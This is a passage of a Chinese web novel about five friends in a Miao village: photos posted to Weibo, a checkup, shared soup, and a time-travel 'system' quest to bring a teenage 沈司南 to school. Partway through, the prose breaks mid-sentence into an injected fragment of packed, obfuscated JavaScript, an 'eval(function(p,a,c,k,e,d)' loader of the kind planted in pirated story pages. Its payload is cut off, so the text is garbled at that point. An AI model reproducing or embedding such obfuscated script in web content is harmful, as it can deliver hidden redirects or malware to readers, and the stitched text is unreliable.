陈杬祝靠在沈司南的肩头，手里举着手机，屏幕的光在夜色里格外柔和。她调整了好几次角度，才将五个人的身影都框进镜头里——沈司南的侧脸清隽，许祭的眉眼温润，绫司司的笑容腼腆，上官渡的眼神淡然，而她自己，正对着镜头弯起嘴角。背景是苗寨的万家灯火，和远处缀满星星的夜空，银饰的细碎声响和山风的呜咽，都成了这张照片最动人的背景音。 “三，二，一！” 快门声轻响，这一刻被永远定格。 陈杬祝低头看着手机里的照片，指尖轻轻划过屏幕上的每张脸，心里像是被灌满了温热的甜酒，又暖又软。她点开微博，没有加任何滤镜，直接上传了这张屋顶合影。然后在编辑框里，一字一顿地敲下那几个藏在心底许久的字，还特意@了那四个最珍贵的人： @沈司南@许祭@绫司司@上官渡 我永远爱你们。 发送按钮按下去的瞬间，山风刚好吹过，带着凤凰花的淡淡香气。沈司南低头看了她一眼，墨色的眸子里盛着星光，指尖的木叶轻轻响了一声，是她最熟悉的调子。许祭抬头朝她笑了笑，将一颗剥好的野核桃递到她手里。绫司司和上官渡也看了过来，眼里满是温柔的笑意。 手机很快开始震动，微博的消息提示音此起彼伏。陈杬祝没有立刻去看，只是将手机揣进兜里，重新靠回沈司南的肩头，抬头看向满天的繁星。 评论区里，凤凰花们早已炸开了锅： “啊啊啊！屋顶合影也太温馨了吧！” “我永远爱你们！这句话好戳心！姐姐的友情真的太好哭了！” “@沈司南 @许祭 @绫司司 @上官渡谢谢你们一直陪着姐姐！凤凰花永远和你们一起守护姐姐！” “这是什么神仙友情啊！从低谷到巅峰，你们一直都在！” “姐姐的眼睛里有星星！这张照片我能循环看一百遍！” #陈杬祝 屋顶合影# #我永远爱你们# 的词条，很快就爬上了热搜的前排。有人截图了照片里的每个细节，有人剪辑了他们几个人在苗寨的相处片段，有人写下长长的文字，感慨陈杬祝从孤身一人到被爱包围的蜕变。 而屋顶上的五个人，却谁都没有去关注那些喧嚣。沈司南的木叶声在夜色里婉转，许祭继续给绫司司剥着野核桃，上官渡偶尔和绫司司说上几句话，陈杬祝则安静地靠在沈司南肩头，听着身边的一切，嘴角的笑意从未散去。 她想起自己被封杀的日子，是这四个人，从苗寨赶来，陪她走过最黑暗的时光；想起拍戏时的点点滴滴，是沈司南的悉心指导，许祭的默默支持，绫司司的温柔陪伴，上官渡的暗中守护，才让她顺利完成了《银饰与风》；想起有人来苗寨找事时，是沈司南和上官渡挺身而出，用苗寨的方式，护她周全。 他们是她的朋友，是她的家人，是她的树，是她生命里最温暖的光。 夜色渐深，苗寨的灯火渐渐熄灭，只有屋顶上的五个人，还在安静地坐着。山风轻轻吹过，木叶声悠扬，银饰声清脆，还有凤凰花的香气，在空气中久久不散。 陈杬祝再次掏出手机，看着评论区里那些温暖的留言，又看了看身边的四个人，突然觉得，自己的人生，已经圆满得不能再圆满了。 凤凰浴火，花自盛开。 而她的身边，永远有最爱的人，和最热烈的凤凰花。 往后的路，无论风雨，他们都会一起走下去。 34. 甜汤 清晨的雾霭还没散尽，苗寨通往县城的盘山公路上，陈杬祝裹着件浅杏色的针织开衫，坐在副驾上看窗外掠过的竹林。沈司南握着方向盘，余光时不时扫过她，许祭坐在后座，膝头放着个保温桶，里面是熬好的小米粥，怕凉了，还裹了两层棉布。 “紧张？”沈司南的声音压得很轻，怕惊着她似的。 陈杬祝摇摇头，指尖却不自觉地攥紧了衣角，“就是例行体检，没什么好紧张的。”话虽这么说，眼底还是藏着点不易察觉的忐忑。上次赶拍《银饰与风》熬了大半个月，杀青后总觉得容易累，许祭硬拉着她来做检查。 县城医院的人不算多，许祭熟门熟路地领着她去挂号，沈司南则去排队缴费。陈杬祝坐在候诊区的椅子上，看着许祭和医生低声交谈的背影，他穿着件素色衬衫，袖口挽着，侧脸的线条温和又认真，阳光透过窗户落在他发顶，镀上一层浅金色的绒边。 抽血的时候，陈杬祝别过头不敢看，手腕却被一只温热的手轻轻按住。是沈司南，他站在她身侧，另一只手替她拢了拢额前的碎发，“闭眼，很快就好。” 针头刺入皮肤的瞬间，她下意识地往他怀里缩了缩，鼻尖蹭到他衬衫上淡淡的皂角香。许祭刚好过来，手里拿着杯温糖水，见她这副样子，无奈地笑了笑，“早跟你说不疼。” 做完所有检查，已经是上午十点。三人坐在医院对面的早餐店里，许祭打开保温桶，盛了碗小米粥推到她面前，“慢点喝，养胃。”沈司南则剥了个茶叶蛋，仔细地去掉蛋黄外面的薄膜，才放进她碗里。 陈杬祝舀着粥，看着对面两个男人一静一动的样子，心里忽然软得一塌糊涂。她掏出手机，对着桌上的粥碗和两人的侧脸拍了张照，没加滤镜，直接发了微博，只配了一句话：有人陪你体检的日子，连医院的空气都甜了点。 发送成功的提示音刚响，沈司南的手机就震了一下，他瞥了眼屏幕，挑眉看向她，“又偷拍？” 陈杬祝吐吐舌头，把手机藏进兜里，“才没有，这叫记录生活。” 许祭轻笑出声，伸手揉了揉她的头发，眼底的温柔漫出来，“检查结果下午出来，不急，我们先回苗寨，傍晚再来拿。” 陈杬祝点点头，低头继续喝粥，阳光穿过玻璃窗，落在她脸上，暖融融的。她想，其实体检怕不怕的，根本不重要，重要的是，身边有他们。 傍晚的风带着苗寨特有的草木香，卷着几片凤凰花瓣，飘进县城医院的走廊。陈杬祝攥着刚拿到的体检报告，指尖微微发紧，连带着脚步都慢了半拍。沈司南走在她身侧，伸手自然地接过她手里的包，指腹轻轻蹭过她的手背，无声安抚。许祭则快步走到医生办公室门口，敲了敲门。 “请进。” 医生接过报告翻了两页，抬头时脸上漾开笑意：“没什么大问题，就是有点轻微的贫血，平时多吃点含铁的食物，别熬夜晚睡就好。” 悬着的那颗心“咚”地落回原处，陈杬祝长舒一口气，肩膀都跟着松了下来。许祭闻言，眉头先皱了皱，随即又舒展开，转头看向她时，眼神里带着点无奈的嗔怪：“说了让你别熬夜赶剧本，偏不听。” 沈司南伸手揉了揉她的发顶，语气里带着笑意：“回去让绫司司给你炖红枣枸杞汤，她的手艺比许祭靠谱。” “我熬的汤哪里不靠谱了？”许祭立刻反驳，眼底却盛着笑意，伸手接过体检报告，仔细翻看了一遍，确认没什么遗漏，才折好放进兜里。 三人走出医院时，夕阳正坠在远处的山尖，把半边天染成了暖橙色。陈杬祝掏出手机，对着天边的晚霞拍了张照，又侧头抓拍了沈司南和许祭并肩走在前面的背影——沈司南的玄色衬衫被风掀起一角，许祭手里的保温桶晃悠悠的，桶沿还沾着一点小米粥的痕迹。 她编辑了一条微博，附上两张照片：体检通关！贫血小毛病，以后乖乖早睡，还有两位监督员 @沈司南 @许祭随时待命～ 发送的瞬间，手机就震了好几下。绫司司的消息跳在最前面：“红枣枸杞汤我已经下锅了！等你们回来喝！”后面还跟了个大大的笑脸。上官渡则简单回了句：“注意休息。” 陈杬祝笑着把手机揣回兜里，小跑着追上前面两人，伸手挽住他们的胳膊，脸颊蹭着沈司南的袖子，声音里满是轻快：“走啦走啦，回苗寨喝汤去！” 沈司南低头看她，眸色温柔，许祭则抬手替她拂去发间沾着的花瓣，晚风掠过，带着凤凰花的甜香，一路都是细碎的暖意。 苗寨的炊烟裹着暮色漫过吊脚楼的飞檐时，绫司司正踮着脚往灶膛里添柴，火舌舔着锅底，砂锅里的红枣枸杞汤咕嘟咕嘟地冒着泡，甜香漫了满屋子。 上官渡坐在一旁的竹凳上，手里把玩着个银勺，目光落在砂锅上，嘴角噙着点浅淡的笑意。她腕间的银镯随着抬手的动作轻轻碰撞，发出细碎的声响。 “渡渡，你说杬祝姐会不会嫌我放的糖太多了？”绫司司转过身，指尖沾了点锅边的热气，脸颊被熏得红扑扑的，“许祭哥说她贫血要补，可我又怕太甜了她不爱喝。” 上官渡放下银勺，起身走到灶台边，伸手掀开锅盖闻了闻，清甜的香气混着红枣的醇厚涌出来。她抬手替绫司司擦了擦额角的汗，声音温软：“刚好，她喜欢这个甜度。” 话音刚落，院门外就传来了脚步声，沈司南的声音先飘进来：“我们回来了。” 绫司司眼睛一亮，立刻转身去掀锅盖，嘴里念叨着：“汤刚好炖好，我去盛出来。”她手忙脚乱地找碗，却被上官渡轻轻按住手腕，“小心烫。”上官渡接过她手里的汤勺，动作利落又稳当，盛了满满一碗，又舀了勺冰糖放进去搅了搅。 陈杬祝刚走进院子，就被甜香勾得吸了吸鼻子，她松开挽着沈司南和许祭的手，快步冲进屋里，凑到桌边闻了闻：“好香啊！” 绫司司连忙把碗递到她手里，眼底满是期待：“快尝尝，红枣枸杞炖的，还有点桂圆，补血的。” 陈杬祝吹了吹热气，抿了一口，暖意从舌尖漫到心底，她弯起眼睛笑：“好喝！甜度刚刚好。” 许祭走过来，扫了眼砂锅里的汤，挑眉看向绫司司：“比我熬的强。” 沈司南靠在门框上，看着屋里的人，墨色的眸子里盛着笑意。晚风从窗棂钻进来，卷着凤凰花的香气，和汤锅里的甜香缠在一起，漫过吊脚楼的每一个角落。 许祭的指尖在手机屏幕上顿了顿，最终选中了那张被陈杬祝存在他相册里的屋顶合照。照片里的夜色浓得像化不开的墨，万家灯火缀在吊脚楼的檐角，沈司南靠在屋脊上，侧脸清隽，指尖捏着的木叶还没吹响；他自己低头剥着野核桃，袖口卷到小臂，露出一截白皙的手腕；绫司司挨着上官渡，手里攥着星星草，脸颊红扑扑的；陈杬祝则歪着头，对着镜头笑得眉眼弯弯。 他没加任何滤镜，只在编辑框里敲了一行字，简洁又温和：人间烟火，岁岁年年。 末尾@了沈司南、陈杬祝、绫司司、上官渡四个人。 发送的瞬间，手机震了震，是沈司南发来的消息：就这五个字？ 许祭勾了勾唇角，回了个嗯。 抬眼时，沈司南正靠在门框上看他，墨色的眸子里盛着笑意，指尖转着那管木叶，山风穿过窗棂，卷着凤凰花的香气，落在两人相视而笑的眼底。 没过多久，评论区就热闹起来，凤凰花们的留言一条接一条跳出来： “许祭老师终于发博了！这张合照我能循环看一百遍！” “岁岁年年！是要一直在一起的意思吧！” “沈司南的侧脸杀我！许祭老师剥核桃的样子好温柔！” “绫司司和上官渡好甜啊！这是什么神仙小团体！” 许祭退出微博界面，把手机揣回兜里，转身走进厨房，去帮绫司司盛那锅还冒着热气的红枣枸杞汤。 绫司司正捧着手机蹲在灶台边刷微博，看到许祭发的合照时，眼睛瞬间亮了，指尖飞快地划到评论区，一眼就瞧见了沈司南的留言。 她立刻拽了拽坐在旁边竹凳上的上官渡的衣角，声音里满是雀跃：“渡渡你看！许祭哥发微博了，沈司南哥还评论了！” 上官渡放下手里正在擦拭的银镯，侧过头看了眼她的手机屏幕，嘴角弯了弯，慢悠悠地开口：“呀，发微博了啊。” “你看这句‘年年有你，足矣’，也太甜了吧！”绫司司捧着脸颊晃了晃，又低头飞快地在评论区敲下一行字——要一直岁岁年年在一起呀，还特意配了个笑脸表情。 上官渡伸手揉了揉她的头发，目光落回手机屏幕上的合照，眼底漾着浅淡的暖意。晚风从窗缝里钻进来，卷着汤锅里飘出的甜香，和凤凰花的气息缠在一起，软得像一汪春水。 评论区的消息提示音几乎要炸掉绫司司的手机，凤凰花们的留言一条接一条地往上涌，刷得飞快： “救命！沈司南这句评论直接戳我心巴！年年有你足矣是什么神仙情话！” “许祭老师的文案温柔，沈总的评论绝杀，这对我能磕一百年！” “绫司司小可爱也来啦！要一直岁岁年年在一起！说的没错！” “谁懂啊！这五个人的氛围也太好了吧！苗寨的晚风都在为他们祝福！” “上官渡姐姐虽然没说话，但我知道她肯定在旁边笑着看！这个小团体我真的哭死！” “考古了八百遍屋顶合照，现在看还是会被治愈到！烟火气和氛围感拉满！” “只有我注意到沈司南手里的木叶吗？是不是就是那晚吹的调子！细节控狂喜！” “贫血小毛病算什么！有这么多人陪着，杬祝姐肯定很快就好啦！” 还有人截了五个人的互动图，P上了“苗寨限定神仙小队”的字样，瞬间被疯狂转发。话题#许祭沈司南年年有你# #苗寨屋顶合照岁岁年年# 紧跟着爬上了热搜，点进去全是一片磕糖和祝福的声音。 绫司司捧着手机笑得眉眼弯弯，转头对上上官渡含笑的目光，忍不住把手机递过去：“渡渡你看，大家都在祝福我们呢！” 竹编的小方桌摆在吊脚楼的廊檐下，砂锅炖得滚烫的红枣枸杞汤盛在白瓷碗里，氤氲的热气裹着甜香往上飘，沾湿了檐角垂下来的凤凰花花瓣。 陈杬祝捧着碗小口抿着，眉眼弯成了月牙，转头冲绫司司竖了竖大拇指：“司司的手艺越来越绝了，比外面馆子炖的还好喝。” 绫司司脸颊一红，往上官渡身边缩了缩，小声道：“是渡渡帮我看火候的，不然早炖糊了。” 上官渡伸手捏了捏她的脸颊，眼底带着笑意，转头看向陈杬祝：“补血的，多喝点，往后少熬点夜。”语气里带着点不容置喙的温柔。 陈杬祝吐了吐舌头，刚要应声，就听见身边传来一声轻笑。沈司南挨着许祭坐着，手里把玩着那管木叶，目光落在许祭的碗沿上：“某人之前还说自己熬的汤靠谱，现在听听，差距明显。” 许祭抬眼瞥了他一下，伸手舀了一勺汤递到他嘴边，语气平淡：“尝尝？” 沈司南没躲，张口含住，眉眼弯了弯：“甜了点，不过……还行。” 许祭低笑出声，指尖擦过他的唇角，动作自然又亲昵。 廊檐外的山风轻轻吹过，带着草木的清香，五个人围坐在一起，碗盏碰撞的轻响混着说笑声，被暮色里的苗寨灯火轻轻裹住，暖得像一碗永远不会凉的甜汤。 暮色漫过吊脚楼的栏杆时，绫司司正举着手机，拉着陈杬祝和上官渡挤在廊檐下的凤凰花树旁。 陈杬祝站在中间，一手挽着绫司司的胳膊，一手搭着上官渡的肩，笑意盈盈地看向镜头。绫司司歪着头靠在她肩上，手里攥着一束星星草，脸颊被晚霞映得红扑扑的。上官渡站在另一侧，唇角噙着浅淡的笑意，腕间的银镯垂下来，刚好落在镜头里，衬得她的手腕愈发白皙。 “三，二，一！” 快门声轻响，绫司司低头看了眼照片，满意地弯起眼睛，指尖飞快地在屏幕上戳着。她没加滤镜，只配了一行软糯的文字：和最好的姐姐们?，末尾@了陈杬祝和上官渡。 刚发送出去，评论区就涌进来好多留言。 “三个美女同框！这张照片我能舔屏！” “司司小可爱的星星草好显眼，渡渡姐姐的银镯也好漂亮！” “杬祝姐笑得好治愈啊！你们三个的友情也太好磕了吧！” 上官渡凑过来看了眼屏幕，伸手揉了揉绫司司的头发，轻声道：“拍得不错。” 陈杬祝也笑着点头，掏出自己的手机，把这张照片存进了相册，“这张必须珍藏，下次我们要拍更多合照。” 晚风卷着凤凰花的香气吹过来，银镯碰撞的细碎声响，和三个女孩的笑声混在一起，漫过了整个苗寨的黄昏。 县城的商业街比苗寨热闹太多，叫卖声和音乐声混在一起，绫司司攥着上官渡的手腕，眼睛亮晶晶地盯着路边的糖画摊，陈杬祝则站在旁边，笑着帮她挑图案。 “要小兔子的！”绫司司踮着脚指，话音刚落，就听见身后有人倒吸一口凉气，带着点难以置信的声音：“你、你是陈杬祝吗？” 陈杬祝回头，就看见两个穿着校服的小姑娘，手里还攥着印着她剧照的海报，脸涨得通红。 “是我呀。”她弯起眼睛笑，声音温软。 小姑娘们瞬间激动起来，手忙脚乱地掏出笔和本子，连说话都带了点颤音：“我们超级喜欢你演的《银饰与风》！能不能、能不能给我们签个名？” 绫司司和上官渡站在一旁，看着陈杬祝耐心地给她们签名，还温柔地问她们多大了，要不要一起合照。上官渡的目光落在不远处，怕人多惊扰到她们，默默往旁边站了站，手腕上的银镯轻轻晃动。 “祝祝姐！我们是凤凰花！”其中一个小姑娘举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她蹲在地上，手指攥着草茎，耳尖红得能滴血，连带着说话都磕磕绊绊的：“渡渡说，记着别人的喜好，是很重要的事……我、我就是记住了而已。” 陈杬祝看着她这副模样，忍不住笑出声，伸手揉了揉她的头发，眼底满是温柔：“好好好，是我猜错了。我们司司就是心细。” 绫司司这才松了口气，把星星草拢在怀里，抬头冲她露出个软乎乎的笑，晚霞落在她的睫毛上，像撒了一把细碎的金粉。 许祭正站在吊脚楼的拐角处，指尖还沾着刚给草药捆绳的草屑，目光落在不远处笑闹的三人身上，眉眼间浸着淡淡的暖意。 突然，一道冰冷的机械音毫无征兆地在他脑海里炸开，不带一丝情绪：宿主，我是系统0320，发布任务，回到沈司南14岁的时候，带他去上学。 许祭的呼吸猛地一滞，垂在身侧的手不自觉地收紧，指节泛白。草屑被攥得粉碎，混着掌心的薄汗黏在皮肤纹路里。他下意识地抬眼望向廊檐下的沈司南——对方正握着那柄祭祀用的青铜匕首，低头擦拭着上面繁复的苗纹，夕阳的金辉落在他墨色的发顶，侧脸线条清隽柔和，早已褪去了少年时的戾气，成了苗寨人人敬重的祭祀。 14岁的沈司南……许祭的眉峰狠狠蹙起。那年的沈司南刚被定为祭祀继承人，却偏生骨子里带着股叛逆，不肯学那些繁杂的祭祀礼典，整日躲在寨口的老榕树下，或是溜去后山的林子里，把族里长辈的叮嘱抛在脑后，更别说踏进校园半步。 系统的声音还在继续，带着不容置喙的压迫感：任务时限72小时，未完成将触发未知惩罚。 许祭闭了闭眼，再睁开时，眼底的暖意尽数褪去，只剩下翻涌的复杂情绪。他看着沈司南转头朝他的方向扬了扬下巴，唇边漾着浅淡的笑意，喉结轻轻滚动了一下，却发不出任何声音。 要怎么回去？要怎么靠近那个满心抗拒束缚的少年？要怎么……把他从祭祀传承的重压里拽出来片刻，送进那间他从未踏足过的课堂？ 风卷着凤凰花瓣掠过他的衣角，带着草木的清香，却吹不散他心底骤然升起的寒意。 许祭转身躲进草药房，反手掩上门，将外面的笑闹声隔绝开来。药架上晾着的艾草、黄连散发着清苦的气息，却压不住他心头的躁乱。 他靠在门板上，指尖无意识地摩挲着药柜上刻着的苗纹，脑海里反复回响着系统冰冷的指令。回到14岁，带他去上学。 怎么回去？ 许祭的目光扫过药架上那些瓶瓶罐罐，忽然想起寨老说过的旧事——苗寨深处的祭坛底下，藏着一块能窥伺过往的陨玉，月圆之夜，以心头血相触，便能短暂回溯时光。 今天正是月圆。 他猛地站直身体，脚步却顿住了。 陨玉的反噬极强，寨老说过，触碰者轻则耗损心神，重则伤及根本。更重要的是，14岁的沈司南，是被祭祀传承压得喘不过气的少年，满心都是抗拒和逃离，自己贸然闯入他的时光，真的能劝动他吗？ 许祭抬手按住心口，那里的心跳快得离谱。他想起沈司南现在握着青铜匕首擦拭苗纹的模样，想起两人在吊脚楼屋顶上并肩看星星的夜晚，想起那句年年有你，足矣的评论。 指尖渐渐收紧。 他转身拉开药柜最底层的抽屉，里面放着一把磨得发亮的小刀，还有一小包用来安神的草药。许祭攥紧那包草药，眼底的犹豫被决绝取代。 不管代价是什么，他都要去。 他要去见那个14岁的、浑身是刺的沈司南，要把他从祭祀传承的桎梏里，拉到洒满阳光的课堂上去。 风从窗缝里钻进来，吹动药架上的草叶轻轻摇晃，月光透过窗棂，在地上投下细碎的影子。 月光淌过祭坛的青石板，陨玉在许祭掌心灼出滚烫的温度，心口那点血珠渗出来，瞬间被玉面吸得干干净净。 机械音在脑海里响起的瞬间，天旋地转的眩晕感铺天盖地涌来。等许祭站稳脚跟，低头看见的是自己短了一截的胳膊，身上的素色衬衫变成了洗得发白的粗布短褂，指尖的薄茧消失了，只剩下少年人特有的单薄。 他抬头，撞进一片晃眼的阳光里。 寨口老榕树下，那个十四岁的沈司南正蜷在树杈上，腿垂下来晃悠着，手里把玩着半块碎瓷片，墨色的头发被风吹得乱糟糟的，眉眼间满是桀骜的戾气。听见动静，他低头瞥过来，眼神里带着毫不掩饰的警惕和厌烦：“你谁？” 许祭的心跳漏了一拍。 是十四岁的沈司南，还没被祭祀传承磨去棱角，还没学会把温柔藏在眼底，像只竖起尖刺的幼兽。 而他自己，也变回了十四岁的模样，穿着苗寨少年常见的粗布衣裳，手里还攥着那包没来得及放下的安神草药。 系统的声音冷硬地响起：任务开启，请宿主在三日内，说服沈司南前往县城中学报到。 许祭攥紧了手里的草药包，看着树杈上的少年，喉结轻轻滚动。 原来回到过去，是他们一起，回到了那个兵荒马乱的年纪。 35. 上学去吧 野榕与少年 眩晕感彻底消散的时候，许祭正站在老榕树的浓荫里，鼻尖萦绕着泥土混着青草的潮湿气息。他低头看了看自己的手，骨节纤细，腕间还带着点刚搬完草药留下的红痕，是十四岁独有的单薄模样。兜里的安神草药包被攥得发皱，隔着粗布褂子，能摸到叶片边缘的粗糙纹路。 树杈上传来一声轻响，许祭抬头，撞进一双桀骜的眼。 那是个蜷在粗壮枝桠上的少年，墨色的头发被山风吹得乱糟糟的，额前的碎发垂下来，遮住了一点眉眼。他穿着件洗得发白的靛蓝短褂，袖口卷到小臂，露出一截晒得微棕的皮肤。手里把玩着半块碎瓷片，瓷片的边缘在阳光下闪着冷光，一下一下，轻轻刮着树干。听见动静，少年低头瞥过来，眼神里带着毫不掩饰的警惕和厌烦，像只被惊扰的幼兽。 “哪来的？滚远点。” 声音是少年人特有的沙哑，带着点没睡醒的慵懒，却又透着一股子拒人于千里之外的戾气。 许祭的心跳漏了一拍。 是十四岁的沈司南。 这个年纪的沈司南，还没成为苗寨人人敬重的祭祀，还没学会把温柔妥帖地藏在眼底，还没被那些繁杂的礼典和沉重的传承磨去棱角。他现在只是个满心抗拒的少年，被族里的长辈按着学那些晦涩的经文，被逼着认那些祭祀用的青铜礼器，被逼着接受自己生来就注定的命运。所以他总躲在这里，躲在老榕树的树杈上，躲在这片能隔绝所有叮嘱和期望的浓荫里。 许祭攥紧了兜里的草药包，喉结轻轻滚动，声音是十四岁独有的清亮调子，软得像山涧的溪水：“我叫许祭，住寨尾的。” 树杈上的沈司南挑了挑眉，手里的碎瓷片顿了顿。他掀起眼皮，上下打量着许祭，目光扫过他沾着草屑的衣角，扫过他腕间的红痕，最后落在他那双干净的眼睛上。那双眼睛里没有长辈的急切，没有同龄人的好奇，只有一片温和的认真，像落在潭水里的月光，安静得让人捉摸不透。 “寨尾？”沈司南扯了扯嘴角，露出一抹嘲讽的笑，“没见过。” 他把碎瓷片往树干上一磕，发出清脆的响，声音里的不耐烦更甚：“少来烦我。族长让你来劝我学祭祀礼典的话，免开尊口。” 许祭轻轻摇了摇头，往前挪了半步。阳光穿过层层叠叠的榕树叶，在他身上投下斑驳的光影，像撒了一把细碎的金粉。他从兜里摸出那颗用草绳串起来的野核桃，递到沈司南面前。核桃的壳上带着点新鲜的纹路，还沾着一点翠绿的果蒂，看着就格外诱人。 “不是族长让我来的。”许祭的声音放得更软了些，眉眼弯弯的，“我就是……想跟你当朋友。这颗核桃，是我昨天去后山摘的，挺甜的。” “朋友？” 沈司南手里的碎瓷片猛地停住了。 这个词像一颗小石子，猝不及防地砸进了他沉寂的心底，荡开一圈又一圈的涟漪。长到十四岁，他听过太多的叮嘱，听过太多的期望，听过太多的“你是祭祀继承人，你要懂事”，却从来没人跟他说过“我想跟你当朋友”。族里的同龄人都怕他，怕他身上那股子戾气，怕他是未来的祭祀，不敢跟他玩闹；长辈们都捧着他，捧着他那个祭祀继承人的身份，没人问过他想不想要。 他低头，盯着那颗圆滚滚的野核桃，又抬眼，看向许祭那双认真的眼睛。阳光在许祭的睫毛上跳跃，投下一小片浅浅的阴影，让那双眼睛显得格外清澈。沈司南攥着碎瓷片的手指微微松了松，指尖的凉意顺着皮肤蔓延开来，却奇异地驱散了一点心底的烦躁。 风穿过老榕树的枝叶，发出沙沙的声响，像一首温柔的歌。 树杈上的少年沉默了片刻，忽然动了。 他没再说话，只是蜷了蜷腿，然后猛地往下一跳。 许祭只觉得眼前一晃，一股带着青草气息的风就扑到了他面前。沈司南稳稳地落在了他面前的草地上，溅起一点细碎的泥点。他比许祭高了小半个头，站在那里，微微低着头看他，墨色的头发垂下来，遮住了一点眉眼，却遮不住那双眼睛里的光。 碎瓷片被他随手扔在了地上，发出一声轻响，滚到了草丛里。 沈司南盯着许祭手里的野核桃，又看了看许祭的脸，沉默了几秒，然后才开口。声音还是有点沙哑，却比刚才柔和了不少，像被风吹软的云：“我叫沈司南。” 短短五个字，却像一道惊雷，在许祭的心底炸开。 许祭握着野核桃的手指猛地收紧，指尖的纹路硌得手心有点疼，却比不上心底翻涌的情绪。他看着眼前这个十四岁的沈司南，看着他眉眼间的桀骜，看着他眼底的疏离，看着他身上那股子少年人特有的别扭劲儿，眼眶忽然有点发热。 他想起很多年后的吊脚楼，想起沈司南握着祭祀用的青铜匕首，低头擦拭上面繁复苗纹的模样；想起两人并肩坐在屋顶上，看苗寨的万家灯火，听山风穿过凤凰花树的声响；想起那条“年年有你，足矣”的评论，想起沈司南看向他时，眼底藏不住的温柔。 原来一切的开始，就是在这棵老榕树下，就是在这个阳光正好的午后，就是这句带着点别扭的“我叫沈司南”。 许祭的嘴角忍不住弯了起来，眉眼间的笑意像漫山遍野的野花，肆意地绽放开来。他把手里的野核桃往前递了递，声音里带着点雀跃的欢喜：“沈司南，你好啊。” 沈司南看着他眼里的笑意，耳根悄悄红了。他别扭地别过脸，不去看许祭的眼睛，却还是伸手，接过了那颗野核桃。核桃的壳有点粗糙，带着点阳光的温度，顺着指尖，一点点暖到了心底。 “啧，”沈司南扯了扯嘴角，试图装出一副不在意的样子，指尖却下意识地摩挲着核桃壳上的纹路，“这核桃看着不怎么样，估计不好吃。” 话是这么说，他却没把核桃扔掉，反而攥在了手里，像攥着什么宝贝。 许祭看着他别扭的样子，忍不住笑出了声。阳光落在两人身上，暖融融的，像一捧揉碎的金。老榕树的枝叶沙沙作响，凤凰花的香气顺着风飘过来，甜得像蜜。 许祭知道，系统的任务是带沈司南去上学。他知道，接下来的三天，他要想办法说服这个满心抗拒的少年，踏进校园的大门。他知道，陨玉的反噬会一点点袭来，会让他耗损心神，甚至伤及根本。 可是现在，看着眼前这个攥着野核桃，耳根发红的少年，许祭忽然觉得，那些都不重要了。 重要的是，他回到了十四岁，回到了沈司南的十四岁。 重要的是，他站在了这里，站在了沈司南的面前。 重要的是，他们的故事，才刚刚开始。 沈司南似乎察觉到了他的走神，皱了皱眉，伸手在他面前晃了晃：“喂，发什么呆？” 许祭回过神，抬头看向他，眼底的笑意更深了。他指了指不远处的小溪，声音里带着点期待：“没什么。我知道有个地方的溪水特别清，我们去摸鱼好不好？” 沈司南看着他眼里的光，沉默了几秒，然后别扭地“哼”了一声，转身往小溪的方向走。走了两步，他又停了下来，回头瞥了许祭一眼，声音里带着点不易察觉的邀请：“愣着干嘛？走啊。” 许祭的眼睛亮了，连忙跟了上去。 阳光透过榕树叶的缝隙，落在两个少年的背影上，把他们的影子拉得很长很长。老榕树下的碎瓷片闪着冷光，野核桃的香气漫在风里，凤凰花的花瓣落了一地，像铺了一层红色的锦缎。 十四岁的许祭，十四岁的沈司南。 野榕，清风，少年时。 一切，都刚刚好。 日头渐渐爬到了头顶，老榕树的荫凉缩了一圈，蝉鸣声嘶力竭地漫过整个苗寨。 许祭正和沈司南蹲在溪边摸鱼，溅起的水花沾湿了两人的裤脚，带着夏末的微凉。沈司南的手刚探进水里，就听见身后传来一道温和的声音，带着点熟稔的笑意：“司南。” 沈司南的动作猛地一顿，眉头瞬间皱了起来，连带着嘴角的弧度都沉了下去。他回头，就看见一中初中部的校长站在岸边，穿着件熨帖的白衬衫，手里还拎着个印着学校校徽的帆布包。校长的头发梳得整整齐齐，脸上带着和蔼的笑，一看就是斯文人。 许祭也跟着转过头，心里咯噔一下——系统任务是带沈司南去上学，可他还没想好怎么开口，校长居然先找来了。 校长快步走到溪边，目光落在沈司南身上，眼底满是欣赏：“司南，你学习那么好，去上学好不好？” 这话一出，沈司南脸上的不耐烦更明显了。他猛地站起身，水珠顺着指尖往下滴，砸在青石板上，晕开一小片湿痕。他梗着脖子，语气硬邦邦的：“不去。” 校长似乎早就料到他会是这个反应，也不恼，反而从帆布包里掏出一沓试卷，递到沈司南面前：“你上次偷偷去学校听了半节课，课后还把老师留的题全做了，做得又快又对。司南，你是块读书的好料子，不去上学，太可惜了。” 许祭在一旁听得愣住了。原来十四岁的沈司南，不止是满身戾气的祭祀继承人，还是个偷偷跑去听课、默默做题的学霸。 沈司南的脸瞬间涨红了，像是被戳中了心事，他一把拍开校长手里的试卷，声音带着点恼羞成怒：“我说不去就不去！少来烦我！” 试卷散落一地，有的飘进了溪水里，被浪花卷着打了个旋。校长叹了口气，弯腰去捡那些试卷，动作慢悠悠的，却透着一股子执拗：“司南，我知道你心里有顾虑，祭祀传承和上学不冲突的，你可以白天上课，晚上学那些礼典……” “闭嘴！”沈司南低吼一声，墨色的眼睛里像是淬了火，“我是苗寨的祭祀继承人，学那些没用的东西干什么？” 许祭看着他紧绷的侧脸，心里忽然明白了。沈司南不是不想上学，他是不敢。他怕自己一旦踏进校园，就会辜负族里的期望，就会对不起“祭祀继承人”这个身份。 风卷着蝉鸣吹过来，带着点燥热的气息。许祭看着散落一地的试卷，又看了看气得胸口起伏的沈司南，悄悄往前挪了半步。 沈司南甩下一句狠话，转身就往老榕树的方向走，背影绷得像张拉满的弓，带着少年人特有的倔强和狼狈。 许祭看着他的背影，又低头扫了眼地上散落的试卷，快步走到校长身边，弯腰帮着捡那些飘在溪边的纸页。指尖触到纸面上工整的字迹，一笔一划都透着利落的劲儿，果然和沈司南别扭的性子不一样。 “校长叔叔，”许祭把捡好的试卷递过去，声音轻轻的，带着点十四岁少年的诚恳，“您说他偷偷去学校听课，还做了试卷，是真的吗？” 校长接过试卷，拍了拍上面的水渍，无奈地笑了笑，眼底却藏着惋惜：“可不是嘛。上个月我在教室后门逮着他好几次，穿着靛蓝褂子，躲在墙角，听得比谁都认真。后来我故意把课后卷放在窗台上，第二天一早去看，全被做完了，思路比班里的尖子生还清晰。” 